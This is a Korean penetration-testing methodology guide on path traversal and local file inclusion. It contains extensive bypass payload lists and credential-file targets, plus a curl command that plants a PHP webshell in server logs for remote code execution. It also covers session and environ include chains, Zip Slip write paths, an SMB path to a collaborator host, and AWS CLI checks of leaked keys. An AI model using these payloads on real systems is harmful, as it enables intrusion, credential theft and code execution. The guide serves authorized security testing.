Skip to main content

Path Traversal / LFI

점검 목적​

파일명, 경로, 템플릿명, 다운로드 키가 서버 파일 시스템 접근에 그대로 쓰이는지 확인한다. 성공 시 시스템 파일, 애플리케이션 설정, 소스코드, credential이 노출될 수 있고, PHP의 include/require처럼 파일을 실행하는 경로에서는 RCE로 체인될 수 있다.

유형 구분​

유형특징실무 판단
Path Traversal / File Read../, 절대 경로, 인코딩 변형으로 허용 범위 밖 파일을 읽음모든 스택에서 발생. passwd, hostname, 설정 파일 노출로 판단
Local File Inclusion (LFI)사용자 입력 파일을 서버가 include/import/render함PHP에서 특히 위험. 파일 읽기보다 RCE 체인 가능성을 따로 봄
Remote File Inclusion (RFI)외부 URL을 include/fetch함PHP 설정 또는 템플릿 로더 의존. SSRF와 구분해서 확인
Archive / Upload Path Traversal압축 내부 경로, 업로드 파일명으로 서버 경로 밖에 쓰기Zip Slip, overwrite, 후처리 RCE 가능성 확인
Dynamic Module LoadNode.js require(), Python import, template loader가 사용자 입력을 받음업로드 파일과 연결되면 코드 실행 가능성 있음

단순 파일 읽기와 파일 실행을 먼저 나눈다. file_get_contents(), readfile(), fs.readFile()은 보통 내용 노출에서 멈추지만, PHP include(), require()는 파일 내용을 PHP 코드로 평가한다.


진단 절차​

Step 1. 진입점 식별​

파일 경로나 파일 식별자가 보이는 기능을 먼저 잡는다.

  • 다운로드: file, path, name, saveName, key, id, attach, download
  • 페이지/템플릿: page, view, template, theme, lang, locale, include
  • 미디어 처리: image, avatar, thumb, resize, preview
  • 문서 처리: 첨부파일 미리보기, PDF/Office 변환, 로그 다운로드
  • 정적 파일 라우트: /uploads/<filename>, /files/<key>, /download/<path>
  • 관리자 기능: 로그 조회, 백업 다운로드, 리포트 export, 파일 매니저

코드 검토가 가능하면 아래 지점을 우선 본다.

스택위험 함수
Javanew File(userInput), Paths.get(userInput), Files.readAllBytes(), getResourceAsStream()
Pythonopen(userInput), Flask send_file(), Django FileResponse, template loader
Node.jsfs.readFile(), res.sendFile(), path.join(), require(userInput)
.NETFile.ReadAllText(), Server.MapPath(), PhysicalFile(), Response.WriteFile()
PHPfile_get_contents(), readfile(), fopen(), include, require
Goos.Open(), http.ServeFile(), template.ParseFiles()

Step 2. 파일 읽기 기본 루틴​

정상 요청을 baseline으로 잡고 깊이를 늘리며 비교한다. 먼저 영향이 낮은 파일부터 본다.

?file=/etc/passwd
?file=/etc/hostname
?file=../etc/passwd
?file=../../etc/passwd
?file=../../../../../../etc/passwd
?file=..\..\..\..\Windows\win.ini

판단은 한 번의 200 응답이 아니라 파일 내용, 응답 길이, Content-Disposition, MIME type, 에러 메시지 변화를 같이 본다.

관찰 결과바로 판단다음 행동
root:x:0:0: 또는 hostname이 응답에 보임파일 읽기 확정설정/credential 파일로 영향 확인
[fonts], [extensions]가 보임Windows 파일 읽기 확정web.config, appsettings 후보 확인
파일 다운로드명이 바뀌지만 내용은 고정표시명만 영향실제 경로 파라미터를 다시 찾기
404/403만 반복파일 미존재/권한 차단 가능깊이, 절대 경로, 인코딩 변형 비교
../ 포함 시 400/500필터 또는 정규화 예외인코딩/점-슬래시 변형, 에러 본문 확인
PHP warning에 경로가 노출LFI 후보include 여부와 wrapper 사용 가능성 확인

Step 3. 컨텍스트별 빠른 선택​

입력 컨텍스트먼저 넣을 값볼 것
다운로드 API saveName=../../../etc/hostname파일 내용이 바뀌는지, originName은 표시명인지
페이지 선택 page=../../../../etc/passwdinclude warning, 파일 내용, .php 강제 여부
언어 파일 lang=../../../../etc/passwd%00 또는 ../../../../etc/passwd?확장자 강제 추가 우회 가능성
이미지/썸네일 image=../../../../etc/passwd이미지 검증 전 파일을 읽는지
Base path 검증/var/www/images/../../../etc/passwd허용 prefix만 문자열로 검사하는지
확장자 검증../../../etc/passwd%00.pngsuffix 검증과 실제 파일 API 해석 차이
Multipart filenamefilename="..%2f..%2fetc%2fpasswd"웹서버/프레임워크가 먼저 정규화하는지
로그 다운로드/var/log/nginx/access.log로그 원문 노출, PHP include 체인 가능성
Windows/IIS..\..\..\Windows\win.iniweb.config, appsettings.json 확장
Reverse proxy..;/..;/WEB-INF/web.xmlNginx/Tomcat 등 프론트/백엔드 해석 차이
PHP 환경php://filter/convert.base64-encode/resource=index.php소스코드 base64 출력 여부
업로드 후 조회업로드 파일명에 ../저장/조회/후처리 단계 중 어디서 경로가 깨지는지

Step 4. 영향 확인​

파일 읽기가 확정되면 스택별로 실제 위험이 있는 파일을 좁힌다.

스택우선 후보볼 것
Linux 공통/etc/hostname, /etc/passwd, /proc/self/environ사용자, 호스트, 환경변수
Web 공통.env, config.*, secrets.*, 로그 파일DB URL, token, secret
Java/Springapplication.properties, application.yml, bootstrap.ymlDB, JWT secret, cloud key
Node.js.env, package.json, config/default.json, ecosystem.config.jsAPI key, DB URI, 실행 경로
Python.env, settings.py, local_settings.py, instance/config.pySECRET_KEY, DB, broker
.NETweb.config, appsettings.json, appsettings.Production.jsonconnection string, machine key
PHPwp-config.php, .env, config.php, database.phpDB 계정, APP_KEY
Container/Kubernetes/proc/self/cgroup, service account token, namespace컨테이너 경계, pod 권한
Cloud~/.aws/credentials, user-data, metadata 접근access key, role, bootstrap script

Step 5. 파일 읽기와 RCE 체인 분리​

RCE 가능성은 파일을 읽는 함수인지 실행하는 함수인지에 따라 갈린다.

상황RCE 가능성확인 방향
readfile, file_get_contents, fs.readFile낮음파일 내용 노출과 credential 영향에 집중
PHP include, require높음php://filter, 로그/세션 include 체인 확인
템플릿 파일 로더중간임의 템플릿 로드, SSTI와 분리 판단
Node.js require()조건부업로드 가능한 .js가 require 경로에 닿는지
압축 해제 경로 조작조건부파일 쓰기 위치, overwrite, 후처리 실행 여부

페이로드 노트​

1. 기본 Path Traversal​

처음에는 깊이를 늘리며 파일 시스템 기준 경로를 찾는다.

?file=../../../../../../etc/passwd
?file=../../../../../../etc/hostname
?path=../../../../../../etc/passwd
?download=../../../../../../etc/passwd
?image=../../../../../../etc/passwd

Windows 대상:

?file=..\..\..\..\Windows\win.ini
?file=..\..\..\..\Windows\System32\drivers\etc\hosts
?file=C:\Windows\win.ini

판정:

  • Linux는 root:x:0:0: 또는 실제 hostname 출력
  • Windows는 [fonts], [extensions], hosts 파일 내용
  • /etc/passwd가 막혀도 /etc/hostname은 읽히는 경우가 있어 둘 다 비교

2. 경로 기준점 찾기​

상대 경로가 어디서 시작되는지 모르면 주변 파일부터 찾는다.

?file=./index.php
?file=../index.php
?file=../../index.php
?file=../config.php
?file=../.env
?file=../../application.properties

파일 다운로드 기능은 uploads/, files/, storage/, public/ 같은 기준 디렉터리에서 시작하는 경우가 많다.

3. 우회 패턴 빠른 선택​

필터 증상부터 보고 payload 계열을 고른다. 무작정 긴 wordlist를 돌리기보다 같은 요청에서 한 계열씩 비교한다.

필터/검증 증상먼저 볼 우회예시
../가 제거됨중첩 traversal....//....//etc/passwd
slash가 막힘backslash, mixed separator..\\..\\Windows\\win.ini, ..\/..\/etc/passwd
URL path에서만 막힘파라미터, multipart filename, double encode%252e%252e%252fetc%252fpasswd
절대 경로 차단상대 경로 깊이 조정../../../../etc/passwd
상대 경로 차단절대 경로 직접 입력/etc/passwd, C:\Windows\win.ini
허용 경로로 시작해야 함허용 prefix + traversal/var/www/images/../../../etc/passwd
확장자로 끝나야 함null byte, query/hash, trailing dot../../../etc/passwd%00.png, passwd%23.png
프록시 앞단은 정상화함백엔드 parser mismatch/..;/..;/WEB-INF/web.xml
Windows 경로만 다름trailing dot/space, UNC, NT namespacefile.txt..., \\host\share\a, \\.\GLOBALROOT\Device\...
파일 내용 미노출에러, size, time, metadata oracleContent-Length, thumbnail error, parse error

4. Encoding / Parser Bypass​

URL encoding​

웹서버, 프록시, 프레임워크, 애플리케이션이 서로 다른 단계에서 decode하면 우회가 생긴다.

%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e/etc/passwd
..%2f..%2f..%2fetc%2fpasswd
%2e%2e%5c%2e%2e%5cWindows%5cwin.ini
..%5c..%5cWindows%5cwin.ini

Double encoding​

앞단 WAF나 웹서버가 한 번만 decode하고, 애플리케이션이 다시 decode하는지 본다.

%252e%252e%252fetc%252fpasswd
..%252f..%252f..%252fetc%252fpasswd
%252e%252e%255cWindows%255cwin.ini
..%255c..%255cWindows%255cwin.ini

Unicode / overlong​

현대 서버에서는 성공률이 낮지만, 레거시 WAS·프록시·인코딩 변환 계층이 의심될 때 보조로 확인한다.

..%c0%af..%c0%afetc%c0%afpasswd
%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd
%uff0e%uff0e%u2215%uff0e%uff0e%u2215etc%u2215passwd
%uff0e%uff0e%u2216%uff0e%uff0e%u2216Windows%u2216win.ini

Nested / mangled path​

필터가 ../를 한 번만 제거하면 중첩 패턴이 정규 traversal로 되돌아간다.

....//....//etc/passwd
..././..././etc/passwd
..///////..////..//////etc/passwd
....\/....\/Windows\/win.ini
...\.\/...\.\/Windows\/win.ini

Reverse proxy mismatch​

Nginx, Apache, Tomcat, Spring, static resource handler가 path segment를 다르게 해석할 때만 본다.

/..;/..;/WEB-INF/web.xml
/static/..;/..;/WEB-INF/web.xml
/app/..%3b/..%3b/WEB-INF/web.xml

판정은 최종 백엔드가 어느 path를 받았는지다. 404/403이 달라지면 proxy normalization과 backend route 매칭을 같이 비교한다.

5. Base Path / Extension Validation​

허용 prefix 검증 우회​

애플리케이션이 허용 디렉터리로 시작하는지만 문자열로 확인하면, 허용 prefix 뒤에 traversal을 붙여 빠져나갈 수 있다.

?filename=/var/www/images/../../../etc/passwd
?path=/app/public/../../.env
?file=C:\inetpub\wwwroot\..\..\Windows\win.ini

startsWith("/var/www/images") 같은 검증은 통과하지만, 파일 API가 canonical path를 계산하면 실제 위치는 기준 디렉터리 밖이 된다.

확장자 suffix 검증 우회​

endsWith(".png"), input + ".php", input + ".html" 같은 로직을 흔든다.

?file=../../../etc/passwd%00.png
?file=../../../etc/passwd?.png
?file=../../../etc/passwd%23.png
?file=../../../etc/passwd/.png
?file=../../../etc/passwd...
?file=../../../etc/passwd%20

Null byte는 최신 런타임에서 대부분 막혀 있다. 그래도 네이티브 확장, 구형 PHP, 레거시 Java/JNI 경로가 보일 때 낮은 우선순위로 확인한다.

Multipart filename​

업로드 처리에서 파일명만 정규화하고 저장/후처리에서 다시 쓰는 경우가 있다.

Content-Disposition: form-data; name="file"; filename="../../../../tmp/probe.txt"
Content-Type: text/plain

probe

인코딩된 filename도 비교한다.

filename="..%2f..%2f..%2ftmp%2fprobe.txt"
filename*="UTF-8''..%2f..%2f..%2ftmp%2fprobe.txt"

6. 다운로드 API의 saveName 패턴​

다운로드 API는 화면에 보이는 원본 파일명과 실제 저장 경로가 분리되는 경우가 많다. originName보다 saveName, path, key, filePath가 경로에 영향을 주는지 먼저 본다.

GET /api/file/download?saveName=../../../etc/passwd&originName=passwd.txt HTTP/1.1
Host: <TARGET>

GET /api/file/download?saveName=../../opt/tomcat/conf/tomcat-users.xml&originName=config.xml HTTP/1.1
Host: <TARGET>

GET /api/file/download?saveName=../application.properties&originName=config.txt HTTP/1.1
Host: <TARGET>

인코딩 변형:

GET /api/file/download?saveName=..%2F..%2F..%2Fetc%2Fpasswd&originName=passwd.txt HTTP/1.1
GET /api/file/download?saveName=..%252F..%252F..%252Fetc%252Fpasswd&originName=passwd.txt HTTP/1.1

판정은 다운로드 파일명보다 내용이다. Content-Disposition만 passwd.txt로 바뀌고 본문은 원래 첨부파일이면 표시명 조작에 가깝다.

7. Linux / Container / Kubernetes​

기본 확인 파일​

/etc/hostname
/etc/passwd
/etc/group
/etc/hosts
/etc/issue
/proc/version
/proc/cmdline

실행 위치 / 프로세스 단서​

/proc/self/cwd
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/mounts
/proc/net/route
/proc/net/tcp
/proc/net/udp

Credential / history​

/home/<USER>/.ssh/id_rsa
/home/<USER>/.bash_history
/root/.ssh/id_rsa
/root/.bash_history
/etc/mysql/my.cnf

Container / Kubernetes​

/proc/1/cgroup
/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/namespace
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
/run/secrets/kubernetes.io/serviceaccount/token

Kubernetes service account token이 노출되면 namespace, API 서버 접근성, RBAC 권한 확인으로 이어진다. 운영 진단에서는 token 원문 전체 수집보다 경로와 권한 범위 확인을 우선한다.

8. Windows / IIS / .NET​

기본 확인 파일​

C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\windows\system32\license.rtf
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\appsettings.json
C:\inetpub\logs\LogFiles\

Windows는 /와 \를 모두 경로 구분자로 받는 경우가 많다.

..\..\..\Windows\win.ini
../../../../Windows/win.ini
..%5c..%5cWindows%5cwin.ini
..%2f..%2fWindows%2fwin.ini

trailing dot / space​

Windows API나 shell 경로 처리에서 뒤쪽의 점·공백이 무시되는 경우가 있다.

web.config.
web.config...
web.config%20
web.config%20%20
file.txt<<<>>><
./././web.config
nonexistent/../web.config

UNC / SMB path​

서버가 UNC 경로를 열면 SMB 인증 시도가 외부로 나갈 수 있다. 이건 파일 읽기뿐 아니라 credential exposure 신호로 본다.

\\<COLLAB-SMB>\share\probe.txt
\\127.0.0.1\c$\windows\win.ini
\\localhost\c$\windows\win.ini

NT device namespace​

일부 Windows API 경로 정규화 우회나 volume 직접 접근 확인에 쓰인다.

\\.\GLOBALROOT\Device\HarddiskVolume1\Windows\win.ini
\\?\C:\Windows\win.ini
\\.\CdRom0\

ASP.NET / IIS 특이 케이스​

Cookieless session path, IIS short name enumeration은 Path Traversal 자체와 별개 취약점일 수 있다. 하지만 IIS 경로 혼동이나 존재 여부 oracle로 이어질 수 있어 후보로 둔다.

/(S(lfitest))/admin/(S(lfitest))/main.aspx
/bin::$INDEX_ALLOCATION/
/web.config::$DATA

9. Java / Spring​

위험 지점​

new File(userInput)
Paths.get(base, userInput)
Files.readAllBytes(...)
ClassLoader.getResourceAsStream(userInput)
ResourceHttpRequestHandler

Spring / static resource double decode​

프론트 서버와 Spring resource handler가 서로 다른 decode/normalize를 하면 이중 인코딩이 통할 수 있다.

/static/%252e%252e%252f%252e%252e%252fWEB-INF/web.xml
/resources/%255c%255c..%255c..%255cwindows%255cwin.ini
/spring-mvc-showcase/resources/%255c%255c..%255c..%255cwindows%255cwin.ini

Java URL protocol​

코드가 new URL(userInput) 또는 URL 기반 resource loader를 쓰면 scheme 해석이 파일 읽기/SSRF로 이어질 수 있다.

url:file:///etc/passwd
file:///etc/passwd
jar:file:/app/app.jar!/BOOT-INF/classes/application.yml
http://127.0.0.1:8080/actuator/env

Java 설정 파일 후보​

WEB-INF/web.xml
WEB-INF/classes/application.properties
WEB-INF/classes/application.yml
BOOT-INF/classes/application.properties
META-INF/MANIFEST.MF
conf/tomcat-users.xml
conf/server.xml

파일 쓰기 primitive가 있으면 Tomcat/Jetty webroot에 JSP를 쓰는 체인이 가능하지만, 이건 파일 읽기 LFI가 아니라 arbitrary file write/RCE로 분리한다.

10. Node.js / Python / Go​

Node.js / Express​

위험 지점:

fs.readFile(req.query.file)
res.sendFile(req.query.file)
path.join(base, userInput)
require(userInput)

확인 파일:

package.json
.env
config/default.json
ecosystem.config.js
server.js
src/app.js

path.join(base, userInput)만 쓰고 path.resolve() 후 base 확인을 하지 않으면 traversal이 가능하다. res.sendFile()은 root 옵션과 path 검증 여부를 본다. require(userInput)은 파일 읽기가 아니라 module execution 쪽이므로 업로드 가능한 .js와 연결될 때만 RCE 후보로 둔다.

Python / Flask / Django​

위험 지점:

open(user_input)
send_file(user_input)
FileResponse(open(user_input, "rb"))
template loader path
static/media file serving

확인 파일:

.env
settings.py
local_settings.py
instance/config.py
requirements.txt
manage.py
uwsgi.ini
gunicorn.conf.py

Django/Flask는 debug page, template path, static/media storage 경로가 같이 노출되면 영향 확인이 쉬워진다.

Go​

위험 지점:

os.Open(userInput)
http.ServeFile(w, r, userInput)
template.ParseFiles(userInput)

확인 파일:

go.mod
.env
config.yaml
config.toml
main.go

Go는 정적 바이너리 배포가 많아서 소스 파일이 서버에 없을 수 있다. 이 경우 .env, YAML/TOML 설정, systemd unit, container env를 우선 본다.

11. 설정 / Credential 파일 후보​

파일 읽기 확정 후 영향 입증용으로 좁혀 본다.

스택우선 시도 파일노출 시 영향
공통 Linux/proc/self/environ, /etc/hostname, /etc/passwd환경변수, 호스트, 사용자 목록
공통 Cloud~/.aws/credentials, /var/lib/cloud/instance/user-data.txtcloud key, bootstrap secret
Container/K8s/proc/1/cgroup, /var/run/secrets/kubernetes.io/serviceaccount/token컨테이너 경계, service account 권한
Java/Springapplication.properties, application.yml, application-prod.ymlDB, JWT, API key
Node.js.env, package.json, config/default.json, ecosystem.config.jsDB URI, token, 실행 정보
Pythonsettings.py, local_settings.py, .env, instance/config.pySECRET_KEY, DB, broker
.NETweb.config, appsettings.json, appsettings.Production.jsonconnection string, machine key
PHPwp-config.php, config.php, .env, database.phpDB 계정, Laravel APP_KEY
로그/var/log/nginx/access.log, /var/log/apache2/access.logrequest 원문, token, LFI to RCE 체인

credential 원문이 보이면 전체 파일 덤프보다 값의 출처, 권한, 사용 가능성을 좁혀 남긴다.

12. PHP​

php://filter 소스코드 추출​

PHP 파일이 서버에서 실행되어 소스가 안 보이면 base64 filter로 읽는다.

?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=/var/www/html/wp-config.php
?file=php://filter/convert.base64-encode/resource=../config/database.php

디코드:

echo "<BASE64_RESPONSE>" | base64 -d

볼 것:

  • DB host/user/password
  • Laravel APP_KEY, JWT secret
  • 외부 API token
  • 내부 관리자 route, debug flag
  • 업로드 경로, 로그 경로, include 경로

wrapper 확인​

PHP 설정에 따라 wrapper 사용 가능성이 갈린다.

?file=php://filter/convert.base64-encode/resource=index.php
?file=php://input
?file=data://text/plain,<?php phpinfo(); ?>
?file=expect://id
?file=zip:///tmp/upload.zip%23payload.php
?file=phar:///tmp/upload.phar

data://는 allow_url_include가 필요하고, expect://는 확장 설치가 필요해 실무 성공률이 낮다. zip://은 업로드 가능한 ZIP 내부 파일을 include할 때 보며, #는 URL에서 %23으로 인코딩한다. phar://는 include 실행 또는 Phar deserialization 체인과 연결될 수 있어 별도 조건을 확인한다.

PHP filter 고급 체인​

PHP filter 기반 arbitrary file read가 확인되면, 특정 PHP/libiconv 버전과 wrapper 조합에서 RCE 연구 체인(CVE-2024-2961 등)이 가능했던 사례가 있다. 일반 운영 진단 기본값으로 바로 시도하지 말고, 아래 조건이 맞을 때 고급 모의해킹 후보로만 둔다.

1. PHP filter가 동작함
2. 대상 PHP/libiconv 버전이 영향 가능 범위임
3. 응답/에러 oracle이 안정적임
4. 사전 승인된 랩 또는 블라인드 모의해킹 범위임

Log Poisoning to RCE​

전제 조건:

  • LFI가 단순 파일 읽기가 아니라 PHP include 또는 require 경로임
  • 웹 서버 로그 파일을 읽을 수 있음
  • 로그에 User-Agent 같은 입력이 원문으로 기록됨
  1. 로그에 PHP 코드가 남도록 요청한다.
curl -A "<?php system(\$_GET['cmd']); ?>" "http://<TARGET>/"
  1. LFI로 로그를 include하고 짧은 명령만 확인한다.
?file=/var/log/apache2/access.log&cmd=id
?file=/var/log/nginx/access.log&cmd=whoami

판정:

  • uid=, www-data, apache, nginx 같은 결과가 응답에 보이면 RCE
  • 로그 파일 권한이 막혀 있으면 체인은 실패해도 LFI 자체는 유효
  • 명령은 id, whoami, hostname처럼 짧고 영향 낮은 값으로 제한

로그 경로 후보:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log

Session File Include​

세션 저장 경로와 세션 ID를 예측할 수 있으면 세션 파일에 PHP 코드를 심고 include하는 체인이 가능하다.

Cookie: PHPSESSID=lfitest

?file=/var/lib/php/sessions/sess_lfitest&cmd=id
?file=/tmp/sess_lfitest&cmd=id

세션 값에 코드가 실제로 저장되는지 먼저 확인한다. 프레임워크가 세션을 DB/Redis에 저장하면 이 체인은 동작하지 않는다.

/proc/self/environ Include​

구형 PHP/CGI 환경에서는 User-Agent가 /proc/self/environ에 반영되고 include될 수 있다.

curl -A "<?php system(\$_GET['cmd']); ?>" "http://<TARGET>/vuln?page=/proc/self/environ&cmd=id"

현대 FPM/컨테이너 환경에서는 성공률이 낮다. 그래도 /proc/self/environ 자체가 읽히면 환경변수 노출 영향은 별도로 크다.

13. Archive / Upload / File Write​

압축 내부 파일명에 ../가 들어가면 기준 디렉터리 밖에 파일이 써질 수 있다.

../../../tmp/probe.txt
../../../../var/www/html/probe.txt
..\..\..\inetpub\wwwroot\probe.txt

확인은 파일 쓰기 위치와 후처리 트리거다.

1. 압축 업로드
2. 업로드 응답/처리 로그 확인
3. 예상 경로에서 파일 접근 가능 여부 확인
4. 웹 루트 또는 템플릿 경로 overwrite 가능성 확인
5. 코드 실행은 별도 승인 범위에서 최소 명령으로만 확인

이 케이스는 파일 읽기 LFI가 아니라 파일 쓰기/overwrite 취약점으로 분리해서 판단한다.

Zip Slip 후보​

../../../tmp/probe.txt
../../../../var/www/html/probe.txt
../../../../opt/tomcat/webapps/ROOT/probe.jsp
..\..\..\inetpub\wwwroot\probe.aspx

후처리 체인​

1. 업로드/압축 해제 파일이 어디에 쓰이는지 확인
2. 웹에서 직접 접근 가능한 경로인지 확인
3. 템플릿/plugin/include 경로 overwrite 가능성 확인
4. 변환/썸네일/AV 스캔/색인 등 후처리가 파일을 다시 읽는지 확인
5. 코드 실행은 별도 승인 범위에서 최소 명령으로만 확인

14. Automation / Wordlists​

파일 다운로드처럼 요청이 단순한 경우에는 수동 재현이 우선이다. ffuf, dotdotpwn, scanner는 경로 깊이와 payload 수가 커져 운영 로그를 더럽힐 수 있으므로 사전 승인된 범위에서만 참고한다.

ffuf -w traversal-payloads.txt -u "https://<TARGET>/download?file=FUZZ" -fs <BASELINE_SIZE>

자동화 결과는 최종 근거가 아니라 수동 재현용 후보로만 둔다.

Burp Intruder의 path traversal payload list나 SecLists Fuzzing/LFI 계열 wordlist는 후보 수집용으로만 쓴다. 취약 판정은 반드시 짧은 payload로 수동 재현한다.


우회 매트릭스​

필터 증상우회 방향예시
../ 문자열 차단중첩 점-슬래시....//....//etc/passwd
/ 차단Windows separator, URL encoding..\\..\\Windows\\win.ini, %2f, %5c
한 번 decode 후 차단이중 인코딩%252e%252e%252fetc%252fpasswd
Unicode 처리 계층 존재Unicode/overlong 보조 확인%u2215, %uff0e, %c0%af
절대 경로 차단상대 경로 깊이 조정../../../../etc/passwd
상대 경로 차단절대 경로 직접 입력/etc/passwd, C:\Windows\win.ini
허용 base path 필요prefix + traversal/var/www/images/../../../etc/passwd
확장자 강제query/hash/null byte 보조passwd?, passwd%23, passwd%00
파일명 allowlistpath/key/saveName 파라미터 탐색saveName=../../../etc/passwd
reverse proxy 앞단 정규화parser mismatch/..;/..;/WEB-INF/web.xml
Windows API 경로 정규화trailing dot/space, NT namespaceweb.config..., \\?\C:\Windows\win.ini
UNC 경로 허용SMB 인증/원격 파일 접근 확인\\<COLLAB-SMB>\share\probe.txt
응답 본문 미노출다운로드 파일, 에러, length 비교Content-Length, filename, MIME 변화
PHP 소스 실행됨php://filter base64php://filter/convert.base64-encode/resource=index.php
PHP wrapper 가능wrapper별 조건 분리zip://, phar://, data://, php://input
로그 include 실패세션/proc/upload include 확인sess_<id>, /proc/self/environ, 업로드 경로
Java resource handlerdouble decode, URL protocol%255c%255c..%255c, url:file:///etc/passwd
Node/Python 정적 파일base resolve 검증 확인path.join, send_file, sendFile 경로
WAF 차단경로 정규화 순서 흔들기..././..././etc/passwd
컨테이너 경로 모름주변 파일부터 탐색/proc/self/cwd, /app/.env, service account token

취약 판정 기준​

다음 중 하나라도 안정적으로 재현되면 취약으로 본다.

  • ../, 절대 경로, 인코딩 변형으로 허용 디렉터리 밖 파일 내용이 노출됨
  • /etc/hostname, /etc/passwd, win.ini 같은 시스템 파일이 응답 또는 다운로드 파일에 포함됨
  • .env, application.yml, web.config, wp-config.php 등 설정/credential 파일이 노출됨
  • php://filter로 PHP 소스코드가 base64 형태로 추출됨
  • PHP include 경로에서 로그/세션/proc 파일 include로 명령 실행이 가능함
  • 업로드/압축 해제 경로 조작으로 기준 디렉터리 밖에 파일이 써짐
  • 동적 module/template load가 업로드 파일과 연결되어 코드 실행 가능성이 확인됨

다음은 후보 또는 보류로 둔다.

  • 사전 매핑된 파일 ID만 받고 서버 내부 경로를 직접 조작할 수 없음
  • originName 같은 표시명만 바뀌고 실제 파일 내용은 고정됨
  • 단순 404/403만 발생하고 baseline과 의미 있는 차이가 없음
  • 정적 CDN에서 URL path normalization만 확인되고 원본 서버 파일 접근이 없음
  • 에러에 서버 경로만 노출되고 파일 내용 접근은 불가함. 이 경우 정보 노출로 별도 판단

영향도가 올라가는 조건:

  • credential 원문이 노출되고 실제 인증/권한 확인이 가능함
  • 소스코드에서 secret, 내부 endpoint, 관리자 route가 확인됨
  • 일반 사용자 권한으로 다운로드/미리보기 기능을 호출할 수 있음
  • LFI가 PHP include로 이어져 RCE가 가능함
  • 업로드/압축 해제와 연결되어 웹 루트 또는 템플릿 경로에 파일을 쓸 수 있음
  • 컨테이너 환경변수, cloud key, internal service credential이 노출됨

블라인드 모의해킹 확장​

취약점 진단에서는 시스템 파일 한 개 노출로 멈출 수 있지만, 블라인드 모의해킹에서는 파일 읽기에서 credential 사용 가능성, 소스 분석, 내부 접근 체인까지 확인한다.

단계확인할 것증거 기준
1. 파일 기준점어느 디렉터리 기준으로 경로가 결합되는지depth별 성공 경로, 주변 파일
2. 실행 스택언어, 프레임워크, 웹서버, OS설정 파일, 에러, 경로명
3. Secret 노출DB, JWT, APP_KEY, cloud key원문 일부, 파일 경로, 사용처
4. Credential 사용획득한 계정/키의 실제 권한read 중심 identity/list 결과
5. RCE 체인include/require, 로그/세션/upload 경로id, whoami, hostname 결과
6. 내부 확장소스코드 기반 내부 API, 관리 페이지route, token, 제한된 응답 샘플

소스코드 지도 만들기​

파일 읽기가 안정적이면 무작정 전체 파일을 긁기보다 실행 경로를 찾는다.

/proc/self/cwd
/proc/self/environ
/app/.env
/app/package.json
/app/composer.json
/app/requirements.txt
/app/application.yml
/var/www/html/index.php
/var/www/html/routes/web.php

소스에서 아래 단서를 우선 본다.

database URL
JWT secret / APP_KEY
S3 bucket / access key
admin route
internal API base URL
upload directory
log path
template path
include/require call site

Credential 사용 가능성 확인​

값이 노출되면 바로 대량 조회하지 않는다. 승인 범위 안에서 identity 또는 제한된 list/read로 살아 있는 credential인지 본다.

AWS_ACCESS_KEY_ID=<AccessKeyId> \
AWS_SECRET_ACCESS_KEY=<SecretAccessKey> \
AWS_SESSION_TOKEN=<Token> \
aws sts get-caller-identity

읽기 중심 확인:

aws s3 ls
aws secretsmanager list-secrets --max-items 10
aws ssm describe-parameters --max-results 10

DB credential은 연결 가능성과 현재 사용자만 확인하고, 테이블 dump나 대량 조회는 별도 승인 범위로 분리한다.

PHP LFI to RCE 최소 확인​

RCE 체인은 아래 조건이 모두 맞을 때만 진행한다.

1. 취약 파라미터가 include/require 경로임
2. include 가능한 로그/세션/업로드 파일 경로가 있음
3. 파일 안에 제어 가능한 PHP 코드가 들어감
4. 응답에서 짧은 명령 결과를 확인할 수 있음

최소 명령:

id
whoami
hostname
pwd

RCE 확인 후에는 권한, 작업 디렉터리, 컨테이너 여부 정도만 확인한다. 장시간 명령, 대량 파일 조회, 지속성 확보는 기본 진단 범위에서 제외한다.

업로드와 연결​

파일 업로드가 있으면 업로드 경로를 먼저 알아낸 뒤 include 또는 정적 접근 가능성을 본다.

1. 정상 파일 업로드
2. 응답의 path/key/url 확인
3. LFI로 업로드 파일 경로 읽기
4. PHP/템플릿/JS 파일로 해석되는 경로인지 확인
5. 웹 루트, template, plugin 경로 overwrite 가능성 확인

업로드 파일이 단순 정적 파일로만 제공되면 LFI와 별개로 저장형 XSS, content-type 혼동, 파일 업로드 취약점으로 분리한다.

증거 정리​

재현 가능한 단위로 남긴다.

  • 취약 endpoint, method, 권한 조건
  • 정상 요청과 traversal 요청의 차이
  • 성공한 depth, 인코딩, 절대/상대 경로
  • 노출 파일 경로와 원문 일부
  • credential 출처와 제한된 사용 가능성
  • PHP/Node RCE 체인은 실행 조건과 최소 명령 결과

참고자료​

공식 및 테스트 가이드​

커뮤니티 참고 / 도구​